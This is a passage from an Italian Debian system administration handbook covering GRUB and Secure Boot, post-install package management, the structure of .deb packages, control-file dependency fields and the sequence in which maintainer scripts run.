Il menu proposto da GRUB, in modo predefinito, contiene tutti i kernel Linux installati e gli altri sistemi operativi rilevati. Ecco perché è consigliato installarlo nel Master Boot Record. È sempre consigliato mantenere un paio di vecchie versioni installate del kernel, dato che conservarle può evitare di trovarsi nell'impossibilità di avviare la macchina a causa di problemi legati all'ultima versione del kernel o nel caso di hardware poco supportato.

GRUB è il bootloader predefinito installato da Debian, grazie alla sua superiorità tecnica: funziona con la maggior parte dei file system e non richiede un aggiornamento dopo l'installazione di un nuovo kernel, dal momento che legge la sua configurazione durante l'avvio e trova l'esatta posizione del nuovo kernel. La versione 1 di GRUB (adesso nota come "Grub Legacy") non è in grado di gestire tutte le combinazioni di LVM e RAID software, la versione 2 invece, che è installata in maniera predefinita è più completa. Anche se ci possono essere situazioni in cui è preferibile installare LILO (un altro bootloader), il programma di installazione Debian non lo supporta più.

Vale la pena notare che GRUB non è un singolo bootloader, è più che altro una collezione di bootloader adatti a casi diversi. I numerosi pacchetti binari costruiti a partire dal pacchetto sorgente di GRUB lo dimostrano: grub-efi-amd64 è per l'avvio da PC a 64 bit in modalità UEFI, grub-efi-ia32 è per l'avvio da PC a 32 bit in modalità UEFI, grub-pc è per l'avvio da PC in modalità BIOS, grub-uboot per computer ARM, ecc.

Per avere più informazioni sulla configurazione di GRUB, si faccia riferimento alla Sezione 8.8.2, «Configurazione di GRUB 2».

CULTURA Secure Boot e shim bootloader

Secure Boot è una tecnologia che assicura l'esecuzione del solo software approvato dal fornitore del sistema operativo. Per garantire tale funzione ogni elemento della sequenza di avvio convalida il successivo componente software che verrà eseguito. A livello più basso, il firmware UEFI incorpora chiavi crittografiche fornite da Microsoft per controllare la firma del bootloader, verificando che sia sicuro da eseguire. Poiché ottenere un binario firmato da Microsoft è un processo lungo, Debian ha deciso di non firmare direttamente GRUB. Invece utilizza un bootloader intermedio chiamato shim, che non ha quasi mai bisogno di essere cambiato ed il cui unico ruolo è quello di controllare la firma fornita da Debian su GRUB ed eseguirlo. Per eseguire Debian su una macchina con Secure Boot abilitato, è necessario installare il pacchetto shim-signed.

Più in basso, GRUB farà un controllo simile con il kernel e quest'ultimo potrebbe anche controllare le firme sui moduli che vengono caricati. Il kernel è anche in grado di proibire alcune operazioni che potrebbero alterare l'integrità del sistema.

Debian 10 (Buster) è stato il primo rilascio con supporto a Secure Boot. Prima era necessario disabilitare questa funzione nel BIOS o da UEFI.

4.2.19. Terminare l'installazione e riavviare

L'installazione è terminata, il programma suggerisce di rimuovere il CD-ROM dal lettore e riavviare il computer.

Figura 4.15. Installazione completa

4.3. Dopo il primo avvio

Se è stata selezionata la voce "Ambiente desktop grafico" senza aver scelto esplicitamente alcun desktop (o avendo scelto "GNOME"), verrà visualizzato il gestore di login gdm3.

Figura 4.16. Il primo avvio

A questo punto, l'utente creato in fase d'installazione può accedere al sistema e iniziare a lavorare.

4.3.1. Installazione di software aggiuntivo

I pacchetti installati corrispondono ai profili selezionati durante l'installazione ma non necessariamente all'uso che veramente verrà fatto della macchina. Per questo motivo potrebbe essere una buona idea utilizzare un programma di gestione dei pacchetti per regolare la lista dei pacchetti installati. I due strumenti più utilizzati (che sono installati se è stato attivato il profilo "Ambiente desktop Debian") sono apt (accessibile da riga di comando) e synaptic (“Gestore pacchetti Synaptic“ nel menu).

Per facilitare l'installazione di gruppi di programmi coerenti, Debian crea dei "task" per utilizzi specifici (server di posta, file server, ecc.). Durante l'installazione si ha già avuto la possibilità di selezionarli, è possibile selezionarli nuovamente grazie ai programmi di gestione dei pacchetti come aptitude (i task sono elencati in una sezione apposita) e synaptic (attraverso il menu Modifica → Seleziona per attività…).

Aptitude è un'interfaccia di APT in modalità testo a schermo intero. Permette all'utente di navigare nell'elenco dei pacchetti disponibili secondo diverse categorie (pacchetti installati o non installati, per attività, per sezione, ecc.), di visualizzare tutte le informazioni disponibili su ciascuno di essi (dipendenze, conflitti, descrizione, ecc.). Ogni pacchetto può essere contrassegnato come "install" (da installare, tasto +) o "remove" (da rimuovere, tasto -). Tutte queste operazioni saranno condotte simultaneamente, una volta che sono state confermate premendo il tasto g ("g" sta per "go!"). Se sono stati dimenticati alcuni programmi, non ci si deve preoccupare; sarà possibile eseguire nuovamente aptitude una volta l'installazione è stata completata.

SUGGERIMENTO Debian pensa a chi parla lingue diverse dall'inglese

Diverse attività sono dedicate alla localizzazione del sistema in altre lingue oltre l'inglese. Queste comprendono la documentazione tradotta, i dizionari e diversi altri pacchetti utili per chi parla lingue differenti. Se durante l'installazione si è scelta una lingua diversa dall'inglese, viene selezionato automaticamente il "task" appropriato.

Naturalmente, è possibile non selezionare alcun task da installare. In questo caso, è possibile installare manualmente il software desiderato con il comando apt o aptitude (entrambi accessibili dalla riga di comando). I pacchetti possono essere trovati usando il comando apt-cache search task keyword.

VOCABOLARIO Dipendenze e conflitti dei pacchetti

Nel gergo dei pacchetti Debian, una "dipendenza" è un altro pacchetto necessario per il corretto funzionamento del pacchetto in questione. Al contrario, un "conflitto" è un pacchetto che non può essere installato in concomitanza con un altro.

Questi concetti sono trattati in dettaglio nel Capitolo 5, Sistema dei pacchetti: strumenti e principi fondamentali.

4.3.2. Aggiornamento del sistema

È solitamente necessario un primo apt upgrade (un comando usato per aggiornare automaticamente tutti i programmi installati), specialmente per eventuali aggiornamenti di sicurezza distribuiti dopo il rilascio dall'ultima versione stabile di Debian. Questi aggiornamenti possono comportare domande aggiuntive poste attraverso debconf, lo strumento di configurazione predefinito di Debian. Per ulteriori informazioni su come apt effettua questi aggiornamenti, fare riferimento alla Sezione 6.2.3, «Aggiornamento del sistema».

Capitolo 5. Sistema dei pacchetti: strumenti e principi fondamentali

In qualità di amministratore di sistema Debian si gestiranno abitualmente i pacchetti .deb, dato che contengono unità funzionali consistenti (applicazioni, documentazione, ecc.), permettono una semplificazione dell'installazione e della manutenzione. È perciò buona norma conoscere cosa sono e come usarli.

Questo capitolo descrive la struttura e il contenuto dei pacchetti "binari" e "sorgenti". I primi sono file direttamente utilizzabili da dpkg, mentre i secondi contengono il codice sorgente e le istruzioni per costruire i pacchetti binari.

5.1. Struttura di un pacchetto binario

Il formato dei pacchetti Debian è progettato in modo che il suo contenuto possa essere estratto su qualsiasi sistema Unix che abbia i classici comandi ar, tar e xz o qualche volta gzip o bzip2. Questa proprietà apparentemente banale è importante per la portabilità e il disaster recovery.

Si immagini, ad esempio, di aver eliminato per errore il programma dpkg e perciò di non poter più installare pacchetti Debian. Dal momento che dpkg è esso stesso un pacchetto Debian, sembrerebbe che il sistema sia spacciato… Fortunatamente, si conosce il formato di un pacchetto e pertanto si può scaricareil file .deb del pacchetto dpkg ed installarlo manualmente (vedi il riquadro "STRUMENTI dpkg, APT e ar). Se, sfortunatamente, uno o più dei programmi ar, tar o gzip/xz/bzip2 fosse scomparso, sarà necessario solamente copiare il programma mancante da un altro sistema (dal momento che ognuno di essi opera in maniera completamente autonoma, senza dipendenze, una semplice copia è sufficiente). Se il sistema è stato ancora più sfortunato, ed anche questi non funzionano (forse mancano le librerie principali del sistema?), si dovrebbe provare la versione statica di busybox (fornito col pacchetto busybox-static), che è ancora più autosufficiente e fornisce sottocomandi come busybox ar, busybox tar e busybox xz.

Nel peggiore dei casi è meglio che si abbia anche un backup del proprio sistema (vedere Sezione 9.10, «Backup»).

STRUMENTI dpkg, APT e ar

dpkg è il programma che gestisce i file (pacchetti binari) .deb, in particolare l'estrazione, l'analisi e lo spacchettamento.

APT (abbreviazione di "Advanced Packaging Tool") è un gruppo di programmi che permette l'esecuzione di modifiche al sistema di più alto livello: installazione o rimozione di un pacchetto (mantenendo soddisfatte le dipendenze), aggiornamento del sistema, elenco dei pacchetti disponibili, ecc.

Il programma ar, fornito dal pacchetto binutils, permette di gestire file con lo stesso nome:

ar t archivio visualizza l'elenco dei file contenuti in tale archivio,

ar x archivio estrae i file dell'archivio nella directory corrente,

ar d archivio file elimina un file dall'archivio, ecc.

La sua pagina di manuale ar(1) documenta tutte le altre caratteristiche. Poiché ar è uno strumento molto rudimentale, un amministratore Unix lo usa solo in rare occasioni, mentre tar, un programma di gestione di archivi e file più evoluto, viene usato abitualmente. Per questo motivo è facile ripristinare dpkg in caso di cancellazione errata. È sufficiente scaricare il pacchetto Debian ed estrarne il contenuto dell'archivio data.tar.xz nella root del sistema (/):

# ar x dpkg_1.20.9_amd64.deb # tar -C / -p -xJf data.tar.xz

FONDAMENTALE Notazione delle pagine di man

I principianti possono essere disorientati dal trovare riferimenti a "ar(1)" nella documentazione. Questo è generalmente un modo pratico per riferirsi alla pagina di manuale intitolata ar nella sezione 1.

Talvolta questa notazione è usata anche per evitare ambiguità, per esempio per distinguere tra il comando printf che può essere anche indicato da printf(1) e la funzione printf nel linguaggio di programmazione C, a cui ci si può riferire anche come printf(3).

Capitolo 7, Risoluzione dei problemi e reperimento delle principali informazioni tratta le pagine di manuale per maggiori dettagli (vedere la Sezione 7.1.1, «Pagine di manuale»).

Questo è il contenuto di un file .deb:

$ ar t dpkg_1.20.9_amd64.deb debian-binary control.tar.gz data.tar.xz $ ar x dpkg_1.20.9_amd64.deb $ ls control.tar.gz data.tar.xz debian-binary dpkg_1.20.9_amd64.deb $ tar tJf data.tar.xz | head -n 16 ./ ./etc/ ./etc/alternatives/ ./etc/alternatives/README ./etc/cron.daily/ ./etc/cron.daily/dpkg ./etc/dpkg/ ./etc/dpkg/dpkg.cfg ./etc/dpkg/dpkg.cfg.d/ ./etc/logrotate.d/ ./etc/logrotate.d/alternatives ./etc/logrotate.d/dpkg ./sbin/ ./sbin/start-stop-daemon ./usr/ ./usr/bin/ $ tar tJf control.tar.xz ./ ./conffiles ./control ./md5sums ./postrm $ cat debian-binary 2.0

Come si può vedere, l'archivio ar di un pacchetto Debian è composto da tre file:

debian-binary

Questo, è un file di testo che indica semplicemente la versione del formato del pacchetto del file .deb. In Debian Bullseye è ancora la versione 2.0.

control.tar.xz

Questo file contiene tutti i metadati disponibili, come il nome e la versione del pacchetto così come alcuni script da eseguire prima, durante o dopo un'installazione o rimozione di esso. Alcuni di questi metadati permettono agli strumenti di gestione dei pacchetti di determinare se è possibile installarlo o disinstallarlo, per esempio in base all'elenco dei pacchetti già presenti sulla macchina e se i file forniti sono stati modificati localmente.

data.tar.xz, data.tar.bz2, data.tar.gz

Questo archivio contiene tutti i file che devono essere estratti dal pacchetto; qui è dove sono memorizzati i file eseguibili, le librerie, la documentazione, ecc. I pacchetti possono usare altri formati di compressione, nel qual caso il file avrà un altro nome per xz, bzip2 o gzip.

5.2. Meta-informazioni sul pacchetto

Il pacchetto Debian non è solo un archivio di file da installare. È parte di un insieme più ampio e descrive le proprie relazioni con altri pacchetti Debian (requisiti, dipendenze, conflitti, suggerimenti). Fornisce anche degli script che permettono l'esecuzione di comandi nei diversi stadi del ciclo di vita del pacchetto (installazione, aggiornamento, rimozione). Questi dati sono usati dagli strumenti di gestione dei pacchetti, ma non fanno parte del software contenuto nel pacchetto; essi sono, all'interno del pacchetto, ciò che viene chiamato "metadato" - informazione che descrive un insieme di dati.

5.2.1. Descrizione: il file control

Questo file usa una struttura simile all'intestazione delle email (come definito nella RFC 2822) ed è accuratamente descritto nella Debian Policy e nelle pagine del manuale deb-control(5) e deb822(5).

→ https://www.debian.org/doc/debian-policy/ch-controlfields.html

Per esempio, per apt, il file control si presenta così:

$ apt-cache show apt Package: apt Version: 2.2.4 Installed-Size: 4337 Maintainer: APT Development Team <deity@lists.debian.org> Architecture: amd64 Replaces: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~) Provides: apt-transport-https (= 2.2.4) Depends: adduser, gpgv | gpgv2 | gpgv1, libapt-pkg6.0 (>= 2.2.4), debian-archive-keyring, libc6 (>= 2.15), libgcc-s1 (>= 3.0), libgnutls30 (>= 3.7.0), libseccomp2 (>= 2.4.2), libstdc++6 (>= 9), libsystemd0 Recommends: ca-certificates Suggests: apt-doc, aptitude | synaptic | wajig, dpkg-dev (>= 1.17.2), gnupg | gnupg2 | gnupg1, powermgmt-base Breaks: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~), aptitude (<< 0.8.10) Description-en: commandline package manager This package provides commandline tools for searching and managing as well as querying information about packages as a low-level access to all features of the libapt-pkg library. . These include: * apt-get for retrieval of packages and information about them from authenticated sources and for installation, upgrade and removal of packages together with their dependencies * apt-cache for querying available information about installed as well as installable packages * apt-cdrom to use removable media as a source for packages * apt-config as an interface to the configuration settings * apt-key as an interface to manage authentication keys Description-md5: 9fb97a88cb7383934ef963352b53b4a7 Tag: admin::package-management, devel::lang:ruby, hardware::storage, hardware::storage:cd, implemented-in::c++, implemented-in::perl, implemented-in::ruby, interface::commandline, network::client, protocol::ftp, protocol::http, protocol::ipv6, role::program, scope::application, scope::utility, suite::debian, use::downloading, use::organizing, use::playing, use::searching, works-with-format::html, works-with::audio, works-with::software:package, works-with::text Section: admin Priority: required Filename: pool/main/a/apt/apt_2.2.4_amd64.deb Size: 1491328 MD5sum: 24d53e8dd75095640a167f40476c0442 SHA256: 75f07c4965ff0813f26623a1164e162538f5e94defba6961347527ed71bc4f3d

Vediamo più da vicino lo scopo di alcuni dei campi elencati dal precedente comando.

FONDAMENTALE RFC — Standard per Internet

RFC è l'acronimo di "Request For Comments" ("Richiesta di commenti"). Una RFC è generalmente un documento tecnico che descrive ciò che diventerà uno standard per Internet. Prima di diventare standardizzati e congelati, questi standard sono sottoposti a una revisione pubblica (da cui il loro nome). La IETF (Internet Engineering Task Force) decide sull'evoluzione e sullo stato di questi documenti (proposta di standard, bozza di standard, standard).

RFC 2026 definisce la procedura per la standardizzazione dei protocolli Internet.

→ http://www.faqs.org/rfcs/rfc2026.html

5.2.1.1. Dipendenze: il campo Depends

Le dipendenze sono definite nel campo Depends dell'intestazione del pacchetto. Si tratta di un elenco di condizioni che devono essere verificatet perché il pacchetto funzioni correttamene. Tali informazioni sono usate da programmi come apt per installare librerie, strumenti, driver, ecc. necesari, nelle versioni appropriate che soddisfano le dipendenze del pacchetto da installare. Per ogni dipendenza, è possibile restringere l'intervallo di versioni che verificano tale condizione. In altre parole, è possibile esprimere il fatto che è necessario il pacchetto libc6 in una versione uguale o superiore a "2.15" (scritto "libc6 (>= 2.15)"). Gli operatori di confronto delle versioni sono i seguenti:

<<: minore;

<=: minore o uguale;

=: uguale a (notare che "2.6.1" non è uguale a "2.6.1-1");

>=: maggiore o uguale;

>>: maggiore.

In un elenco di condizioni che devono essere verificate, la virgola rappresenta il separatore. Deve essere interpretata come un "AND" logico. Nelle condizioni, la barra verticale ("|") rappresenta un "OR" logico (è un "OR" inclusivo, diverso da quello esclusivo "o/o"). Ha una priorità superiore ad "AND" e può essere usata tante volte quanto necessario. Perciò, la dipendenza "(A or B) and C" viene scritta A | B, C. Invece l'espressione "A or (B and C)" deve essere scritta come "(A or B) and (A or C)", perché il campo Depends non accetta parentesi che cambiano la priorità tra gli operatori logici "OR" ed "AND". Pertanto verrebbe scritta come A | B, A | C.

→ https://www.debian.org/doc/debian-policy/ch-relationships.html#syntax-of-relationship-fields

Il sistema delle dipendenze è un buon meccanismo per garantire il funzionamento di un programma, ma ha un altro uso con i "meta-pacchetti". Questi sono pacchetti vuoti che descrivono solamente le dipendenze. Essi facilitano l'installazione di gruppi consistenti di programmi preselezionati dal manutentore del meta-pacchetto; in tal modo, apt install meta-pacchetto installerà automaticamente tutti questi programmi usando le dipendenze del meta-pacchetto. Alcuni esempi di meta-pacchetti sono gnome, kde-full e linux-image-amd64.

POLICY DEBIAN I campi Recommends, Suggests e Enhances

I campi Recommends e Suggests descrivono dipendenze non obbligatorie. Le dipendenze "raccomandate", le più importanti, migliorano considerevolmente le funzionalità offerte dal pacchetto, ma non sono indispensabili al suo funzionamento. Le dipendenze "consigliate", di importanza secondaria, indicano che certi pacchetti possono integrare o aumentare la loro rispettiva utilità, ma è perfettamente ragionevole installarne uno senza gli altri.

Si dovrebbe sempre installare i pacchetti "raccomandati", a meno che non si sia sicuri di non averne bisogno. Questo, ora, è anche il comportamento predefinito di APT a meno che non venga configurato diversamente. Al contrario, non è necessario installare i pacchetti "suggeriti" a meno che non se ne abbia la necessità (la descrizione del pacchetto o la sua documentazione possono contenere informazioni sulle funzionalità aggiuntive attivate da questi pacchetti). Il comportamento di apt può essere controllato usando le opzioni di configurazione APT::Install-Recommends e APT::Install-Suggests o le corrispondenti opzioni da riga di comando --[no-]install-recommends e --[no-]install-suggests.

Anche il campo Enhances descrive un consiglio, ma in un contesto differente. Infatti si trova nel pacchetto consigliato, non nel pacchetto che beneficia del consiglio. È interessante perché è possibile aggiungere un consiglio senza dover modificare il pacchetto interessato. Perciò, tutte le aggiunte, plug-in, e altre estensioni a un programma possono prendere posto nell'elenco di consigli relativi a quel software. Sebbene esista da diversi anni, quest'ultimo campo è ancora largamente ignorato da programmi come apt-get o synaptic. Il suo scopo è far apparire all'utente un consiglio fatto dal campo Enhances in aggiunta ai tradizionali consigli trovati nel campo Suggests.

POLICY DEBIAN Pre-Depends, più esigente di Depends

Le "pre-dipendenze", che sono elencate nel campo "Pre-Depends" nelle intestazioni del pacchetto, completano le normali dipendenze; la loro sintassi è identica. Una normale dipendenza indica che il pacchetto in questione deve essere scompattato e configurato prima del pacchetto che dichiara la pre-dipendenza. Una pre-dipendenza indica espressamente che il pacchetto in questione deve essere scompattato e configurato prima dell'esecuzione dello script di pre-installazione del pacchetto che dichiara la pre-dipendenza, cioè prima della sua installazione.

Una pre-dipendenza è molto esigente per apt perché aggiunge un vincolo stretto sull'ordine dei pacchetti da installare. Pertanto, le pre-dipendenze sono sconsigliate se non assolutamente necessarie. È consigliato consultare altri sviluppatori su <debian-devel@lists.debian.org> prima di aggiungere una pre-dipendenza. In genere è possibile trovare un'altra soluzione per aggirare il problema.

5.2.1.2. Conflitti: il campo Conflicts

Il campo Conflicts indica quando un pacchetto non può essere installato insieme ad un altro. I motivi più comuni sono che entrambi i pacchetti contengono un file con lo stesso nome e percorso o forniscono lo stesso servizio sulla stessa porta TCP, oppure si ostacolerebbero a vicenda durante il funzionamento.

dpkg si rifiuterà di installare un pacchetto che provoca un conflitto con un pacchetto già installato, a meno che il nuovo pacchetto non specifichi che "sostituisce" il pacchetto installato, nel qual caso dpkg sceglierà di sostituire il vecchio pacchetto con quello nuovo. apt segue sempre le istruzioni ricevute: se si sceglie di installare un nuovo pacchetto, offrirà automaticamente di disinstallare il pacchetto che crea un problema.

5.2.1.3. Incompatibilità: il campo Breaks

Il campo Breaks ha un effetto simile a Conflicts, ma con un significato speciale. Segnala che l'installazione di un pacchetto "renderà difettoso" un altro pacchetto (o delle sue versioni particolari). In generale, questa incompatibilità tra due pacchetti è transitoria e la relazione Breaks fa specifico riferimento alle versioni incompatibili.

dpkg si rifiuterà di installare un pacchetto che rende difettoso un pacchetto già installato e apt cercherà di risolvere il problema aggiornando il pacchetto che sarebbe reso difettoso a una nuova versione (che si suppone essere stata corretta e, perciò, di nuovo compatibile).

Questo tipo di situazione può accadere in caso di aggiornamenti senza compatibilità all'indietro: questo è il caso di una nuova versione che non funziona più insieme alla vecchia versione e causa un malfunzionamento in un altro programma senza avere accorgimenti speciali. Il campo Breaks evita che l'utente incontri tali problemi.

5.2.1.4. Oggetti forniti: il campo Provides

Questo campo introduce il concetto molto interessante di "pacchetto virtuale". Ha molti ruoli, ma due sono particolarmente importanti. Il primo ruolo consiste nell'usare un pacchetto virtuale per associare ad esso un servizio generico (il pacchetto "fornisce" il servizio). Il secondo indica che un pacchetto sostituisce completamente un altro e che per questo scopo può anche soddisfare le dipendenze che l'altro soddisferebbe. Perciò è possibile creare un pacchetto sostitutivo senza dover usare lo stesso nome di pacchetto.

VOCABOLARIO Meta-pacchetto e pacchetto virtuale

È essenziale distinguere chiaramente i meta-pacchetti dai pacchetti virtuali. I primi sono pacchetti reali (che comprendono dei file .deb reali), il cui unico scopo è di esprimere dipendenze.

I pacchetti virtuali, invece, non esistono fisicamente; sono solo un mezzo per identificare pacchetti reali in base a criteri comuni e logici (servizio fornito, compatibilità con un programma standard o con un pacchetto preesistente, ecc.).

5.2.1.4.1. Fornire un "servizio"

Il primo caso può essere discusso nei dettagli con un esempio: si dice che tutti server di posta, come postfix o sendmail "forniscono" il pacchetto virtuale mail-transport-agent. Perciò, ogni pacchetto che abbia bisogno di questo servizio per funzionare (es. un gestore di mailing list come smartlist o sympa) semplicemente dichiara nelle proprie dipendenze di richiedere mail-transport-agent invece di specificare un lungo ed incompleto elenco di possibili soluzioni (es. postfix | sendmail | exim | …). Inoltre, è inutile installare due server di posta sulla stessa macchina, questo è il motivo per cui ognuno di tali pacchetti dichiara un conflitto con il pacchetto virtuale mail-transport-agent. Il conflitto di un pacchetto con sé stesso viene ignorato dal sistema, ma questa tecnica impedisce l'installazione contemporanea di due server di posta.

POLICY DEBIAN Elenco di pacchetti virtuali

Perché i pacchetti virtuali siano utili, tutti devono concordare sul loro nome. Questo è il motivo per cui sono standardizzati nella Policy Debian. L'elenco include tra gli altri mail-transport-agent per i server di posta, c-compiler per i compilatori del linguaggio di programmazione C, www-browser per i browser web, httpd per i server web, ftp-server per i server FTP, x-terminal-emulator per gli emulatori di terminale in modalità grafica (xterm) e x-window-manager per i gestori di finestre.

L'elenco completo è disponibile sul web.

→ https://www.debian.org/doc/packaging-manuals/virtual-package-names-list.yaml

5.2.1.4.2. Interscambiabilità con un altro pacchetto

Il campo Provides è interessante anche quando il contenuto di un pacchetto è incluso in un pacchetto più grande. Per esempio, il modulo Perl libdigest-md5-perl era un modulo opzionale in Perl 5.6 ed è stato integrato come standard in Perl 5.8 (e nelle versioni successive, come la 5.32.1 presente in Bullseye). Perciò, dalla versione 5.8, il pacchetto perl riporta Provides: libdigest-md5-perl così che le dipendenze da questo pacchetto sono soddisfate se l'utente ha Perl 5.8 (o successivi). Il pacchetto libdigest-md5-perl vero e proprio è stato infine eliminato poiché, da quando le vecchie versioni di Perl sono state rimosse, non aveva più alcuno scopo.

Figura 5.1. Uso del campo Provides per non lasciare dipendenze non soddisfatte

Questa caratteristica è molto utile dal momento che non è mai possibile anticipare le variabilità dello sviluppo ed è necessario essere in grado di adattarsi ai cambiamenti di nome del software obsoleto e ad altre sostituzioni automatiche.

FONDAMENTALE Perl, un linguaggio di programmazione

Perl (Practical Extraction and Report Language) è un linguaggio di programmazione molto popolare. Ha molti moduli pronti all'uso che coprono un vasto spettro di applicazioni e che sono distribuiti tramite i server CPAN (Comprehensive Perl Archive Network), una completa rete di pacchetti Perl.

→ https://www.perl.org/

→ https://www.cpan.org/

Dal momento che è un linguaggio interpretato, un programma scritto in Perl non richiede una compilazione prima dell'esecuzione. Questo è il motivo per cui sono chiamati "script Perl".

5.2.1.4.3. Vecchie limitazioni

I pacchetti virtuali soffrono di alcune limitazioni, la più significativa delle quali è l'assenza di un numero di versione. Per tornare all'esempio precedente, una dipendenza come Depends: libdigest-md5-perl (>= 1.6), nonostante la presenza di Perl 5.10, non verrà mai considerata soddisfatta dal sistema dei pacchetti — mentre in realtà era probabilmente soddisfatta. Inconsapevole di ciò, il sistema dei pacchetti sceglie l'opzione meno rischiosa, supponendo che le versioni non coincidano.

Questa limitazione è stata superata in dpkg 1.17.11 e non è più rilevante. I pacchetti, come perl 5.32.1, possono assegnare una versione ai pacchetti virtuali che forniscono, come Provides: libdigest-md5-perl (= 2.55.01), così da permettere ad altri pacchetti di usare le dipendenze con versione.

5.2.1.5. Sostituzione di file: il campo Replaces

Il campo Sostituisce indica che il pacchetto contiene file che sono presenti anche in un altro pacchetto ma che, comunque, è legittimamente titolato a sostituire. Senza questa indicazione, dpkg fallisce l'installazione del pacchetto sostenendo che non può sovrascrivere i file di un altro pacchetto (tecnicamente è possibile forzarlo con l'opzione --force-overwrite, ma questa non è considerata un'operazione regolare). Ciò permette di identificare potenziali problemi ed obbliga il manutentore ad approfondire la questione prima di scegliere se aggiungere tale campo.

L'uso di questo campo è giustificato quando il nome del pacchetto cambia o quando un pacchetto è incluso in un altro. Questo succede anche quando il manutentore decide di distribuire i file in maniera differente tra i vari pacchetti binari prodotti dallo stesso pacchetto sorgente: un file sostituito non appartiene più al vecchio pacchetto, ma solo a quello nuovo.

Se tutti i file di un pacchetto installato sono stati sostituiti, il pacchetto è considerato come rimosso. Infine, questo campo istruisce dpkg a rimuovere il pacchetto sostituito quando c'è un conflitto.

APPROFONDIMENTO Il campo Tag

Nell'esempio iniziale di apt, possiamo notare la presenza di qualcosa non ancora descritto, il campo Tag (etichetta). Esso non descrive una relazione tra pacchetti ma è semplicemente un modo per classificare un pacchetto in una tassonomia tematica. Questa classificazione di pacchetti secondo diversi criteri (tipo di interfaccia, linguaggio di programmazione, dominio di applicazione, ecc.) è disponibile in Debian da molto tempo. Nonostante ciò, non tutti i pacchetti hanno etichette accurate e non è ancora integrata in tutti gli strumenti di Debian; aptitude mostra queste etichette e permette di usarle come criteri di ricerca. Per coloro che non gradiscono i criteri di ricerca di aptitude, il seguente sito web permette la navigazione del database delle etichette:

→ https://wiki.debian.org/Debtags

5.2.2. Script di configurazione

In aggiunta al file control, l'archivio control.tar.gz di ogni pacchetto Debian può contenere alcuni script, chiamati da dpkg durante le fasi di elaborazione di un pacchetto. La Policy Debian descrive in dettaglio i casi possibili, specificando gli script chiamati e gli argomenti che ricevono. Queste sequenze possono essere complicate dal momento che, se uno degli script fallisce, dpkg cercherà di ritornare a uno stato soddisfacente annullando l'installazione o la rimozione in corso (per quanto possibile).

→ https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html

APPROFONDIMENTO Il database di dpkg

Tutti gli script di configurazione per i pacchetti installati sono memorizzati nella directory /var/lib/dpkg/info/, sotto forma di file il cui nome inizia con il nome del pacchetto. Questa directory comprende anche un file con l'estensione .list per ogni pacchetto, che contiene l'elenco dei file che appartengono a tale pacchetto.

Il file /var/lib/dpkg/status contiene una serie di blocchi di dati (nel formato delle note intestazioni di posta, RFC 2822) che descrivono lo stato di ogni pacchetto. Anche le informazioni del file control dei pacchetti installati sono duplicate qui.

In genere, lo script preinst viene eseguito prima dell'installazione del pacchetto, mentre postinst è eseguito al termine dell'installazione. Nella stessa maniera, prerm viene invocato prima della rimozione di un pacchetto e postrm dopo. Un aggiornamento di un pacchetto equivale alla rimozione della versione precedente e all'installazione di quella nuova. Non è possibile descrivere qui i dettagli di tutti i possibili scenari, ma saranno discussi i due più comuni: un'installazione/aggiornamento e una rimozione.

ATTENZIONE Nomi simbolici degli script

Le sequenze descritte in questa sezione chiamano gli script di configurazione con nomi specifici come old-prerm o new-postinst. Sono rispettivamente lo script prerm contenuto nella vecchia versione del pacchetto (installata prima dell'aggiornamento) e lo script postinst contenuto nella nuova versione (installata dall'aggiornamento).

SUGGERIMENTO Diagrammi di stato

Manoj Srivastava e Margarita Manterola hanno creato questi diagrammi che spiegano come gli script di configurazione vengono chiamati da dpkg.

→ https://people.debian.org/~srivasta/MaintainerScripts.html

→ https://www.debian.org/doc/debian-policy/ap-flowcharts.html

5.2.2.1. Installazione e aggiornamento

Durante l'installazione iniziale e per ogni aggiornamento di un pacchetto, dpkg richiama i cosiddetti script di manutenzione come prerm o preinst. Questi script possono eseguire azioni aggiuntive durante le diverse fasi del ciclo di vita di un pacchetto. I nomi degli script preceduti da new- sono quelli della nuova versione di un pacchetto che viene installato od aggiornato. I nomi degli script preceduti da old- sono quelli della vecchia versione di un pacchetto che viene aggiornato.

Durante ogni esecuzione dpkg passerà alcuni argomenti ad ogni script, come upgrade new-version. Lo script invocato potrà quindi gestire gli argomenti ed eseguire una particolare azione, oppure ignorarli restituendo un codice di uscita 0, se non c'è nulla da fare in quella fase. In pratica, molti pacchetti non avranno bisogno di eseguire un'azione durante ogni fase del ciclo di vita. Pertanto, un tipico script di configurazione controllerà un particolare argomento ignorando tutti gli altri e restituirà, implicitamente, il codice di uscita 0.

Ecco cosa succede durante un'installazione (od un aggiornamento). Gli argomenti old-version, new-version e last-version-configured sono segnaposto per i numeri di versione effettivi (vecchi e nuovi) del pacchetto:

Per un aggiornamento, dpkg chiama lo script old-prerm passando gli argomenti upgrade new-version.

Sempre per un aggiornamento, dpkg esegue lo script new-preinst con gli argomenti upgrade old-version; per l'installazione iniziale, esegue lo script new-preinst e passa install come argomento. Può aggiungere la vecchia versione come ultimo parametro se il pacchetto è già stato installato e poi rimosso (ma non eliminato, quindi i file di configurazione sono stati conservati).

Poi i file del nuovo pacchetto vengono scompattati. Se un file esiste già, viene sostituito, ma viene fatta temporaneamente una copia di backup.

Per un aggiornamento, dpkg esegue lo script old-postrm fornendo come argomenti upgrade new-version.

dpkg aggiorna tutti i dati interni (elenco file, script di configurazione, ecc.) e rimuove i backup dei file sostituiti. Questo è il punto di non ritorno: dpkg non ha più accesso a tutti gli elementi necessari a ritornare allo stato precedente.

dpkg aggiornerà i file di configurazione, chiedendo all'utente di decidere se non è in grado di gestire automaticamente questo compito. I dettagli di questa procedura sono discussi nella Sezione 5.2.3, «Checksum, elenco dei file di configurazione, ecc.».

Infine, dpkg configura il pacchetto eseguendo lo script new-postinst con gli argomenti configure last-version-configured.

5.2.2.2. Rimozione di pacchetti

I passi per rimuovere un pacchetto sono analoghi a quelli per l'installazione. La differenza principale è che vengono chiamati gli script di rimozione del pacchetto:

dpkg richiama lo script prerm con l'argomento remove.

dpkg cancella tutti i file del pacchetto, ad eccezione dei file di configurazione e degli script del manutentore.

dpkg esegue lo script postrm passando remove come argomento. Successivamente, tutti gli script del manutentore, tranne lo script postrm, vengono rimossi. Se l'utente non ha usato l'opzione "purge", il processo si ferma qui.

